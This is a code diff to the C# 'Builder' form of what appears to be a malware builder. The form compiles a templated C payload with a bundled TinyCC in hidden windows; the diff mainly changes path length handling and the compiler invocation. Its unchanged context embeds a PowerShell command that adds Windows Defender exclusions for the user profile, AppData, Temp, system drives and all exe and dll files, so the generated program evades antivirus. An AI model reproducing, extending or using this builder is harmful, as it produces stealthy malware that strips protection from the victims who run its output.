3
3
using System . Diagnostics ;
4
4
using System . IO ;
5
5
using System . IO . Compression ;
6
+ using System . Runtime . InteropServices ;
6
7
using System . Text ;
7
8
using System . Windows . Forms ;
8
9
@@ -14,6 +15,8 @@ public partial class Builder : Form
14
15
public Vanity vanity = new Vanity ( ) ;
15
16
private string key = RandomString ( 32 ) ;
16
17
18
+ public static int MAX_PATH = 255 ;
19
+
17
20
public Builder ( )
18
21
{
19
22
InitializeComponent ( ) ;
@@ -24,9 +27,15 @@ public void NativeCompiler(string savePath)
24
27
key = RandomString ( 32 ) ;
25
28
26
29
string currentDirectory = Path . GetDirectoryName ( savePath ) ;
27
- string filename = Path . GetFileNameWithoutExtension ( savePath ) + ".c" ;
28
-
29
30
string compilerDirectory = Path . Combine ( currentDirectory , "Compiler" ) ;
31
+ string filename = Path . GetFileName ( savePath ) ;
32
+
33
+ if ( compilerDirectory . Length > MAX_PATH )
34
+ {
35
+ MessageBox . Show ( string . Format ( "Error: Path \" {0}\" is longer than the max allowed filepath length of {1} characters. Please choose another shorter filepath to save the build in." , compilerDirectory , MAX_PATH ) ) ;
36
+ return ;
37
+ }
38
+
30
39
if ( ! Directory . Exists ( compilerDirectory ) )
31
40
{
32
41
using ( ZipArchive archive = new ZipArchive ( new MemoryStream ( Properties . Resources . tinycc ) ) )
@@ -39,6 +48,8 @@ public void NativeCompiler(string savePath)
39
48
}
40
49
}
41
50
51
+ string compilerDirectoryShort = ShortPath ( compilerDirectory ) ;
52
+
42
53
StringBuilder sb = new StringBuilder ( Properties . Resources . Program1 ) ;
43
54
44
55
bool buildResource = ( checkAdmin . Checked || vanity . checkIcon . Checked || vanity . checkAssembly . Checked ) ;
@@ -72,8 +83,8 @@ public void NativeCompiler(string savePath)
72
83
73
84
Process . Start ( new ProcessStartInfo
74
85
{
75
- FileName = Path . Combine ( compilerDirectory , "MinGW64 \\ bin \\ windres.exe" ) ,
76
- Arguments = " --input resource.rc --output resource.o -O coff -F pe-i386 " + defs ,
86
+ FileName = "cmd" ,
87
+ Arguments = string . Format ( "cmd /c \" {0} \" --input resource.rc --output resource.o -O coff -F pe-i386 {1}" , compilerDirectoryShort + " \\ MinGW64 \\ bin \\ windres.exe" , defs ) ,
77
88
WorkingDirectory = currentDirectory ,
78
89
WindowStyle = ProcessWindowStyle . Hidden
79
90
} ) . WaitForExit ( ) ;
@@ -113,17 +124,18 @@ public void NativeCompiler(string savePath)
113
124
CipherReplace ( sb , "#WDCOMMAND" , "cmd /c powershell -Command Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force & powershell -Command Add-MpPreference -ExclusionExtension @('exe','dll') -Force & exit" ) ;
114
125
}
115
126
116
- System . IO . File . WriteAllText ( Path . Combine ( currentDirectory , filename ) , sb . ToString ( ) ) ;
127
+ System . IO . File . WriteAllText ( Path . Combine ( currentDirectory , "program.c" ) , sb . ToString ( ) ) ;
117
128
Process . Start ( new ProcessStartInfo
118
129
{
119
- FileName = Path . Combine ( compilerDirectory , "tinycc \\ tcc.exe" ) ,
120
- Arguments = " -Wall -Wl,-subsystem=windows \" " + filename + "\" " + ( buildResource ? "resource.o" : "" ) + " -luser32 -m32" ,
130
+ FileName = "cmd" ,
131
+ Arguments = string . Format ( "cmd /c \" {0} \" -Wall -Wl,-subsystem=windows program.c {1} -luser32 -m32" , compilerDirectoryShort + "\\ tinycc \\ tcc.exe" , buildResource ? "resource.o" : "" ) ,
121
132
WorkingDirectory = currentDirectory ,
122
133
WindowStyle = ProcessWindowStyle . Hidden
123
134
} ) . WaitForExit ( ) ;
124
135
125
136
System . IO . File . Delete ( Path . Combine ( currentDirectory , "resource.o" ) ) ;
126
- System . IO . File . Delete ( Path . Combine ( currentDirectory , filename ) ) ;
137
+ System . IO . File . Delete ( Path . Combine ( currentDirectory , "program.c" ) ) ;
138
+ System . IO . File . Move ( Path . Combine ( currentDirectory , "program.exe" ) , Path . Combine ( currentDirectory , filename ) ) ;
127
139
}
128
140
129
141
public void CipherReplace ( StringBuilder source , string id , string value )
@@ -177,6 +189,16 @@ private static string ToLiteral(string input)
177
189
return literal . ToString ( ) ;
178
190
}
179
191
192
+ [ DllImport ( "kernel32.dll" , CharSet = CharSet . Auto ) ]
193
+ public static extern int GetShortPathName ( [ MarshalAs ( UnmanagedType . LPWStr ) ] string path , [ MarshalAs ( UnmanagedType . LPWStr ) ] StringBuilder shortPath , int shortPathLength ) ;
194
+
195
+ private static string ShortPath ( string path )
196
+ {
197
+ var shortPath = new StringBuilder ( MAX_PATH ) ;
198
+ GetShortPathName ( path , shortPath , MAX_PATH ) ;
199
+ return shortPath . ToString ( ) ;
200
+ }
201
+
180
202
public string SaveDialog ( string filter )
181
203
{
182
204
SaveFileDialog dialog = new SaveFileDialog ( ) ;
0 commit comments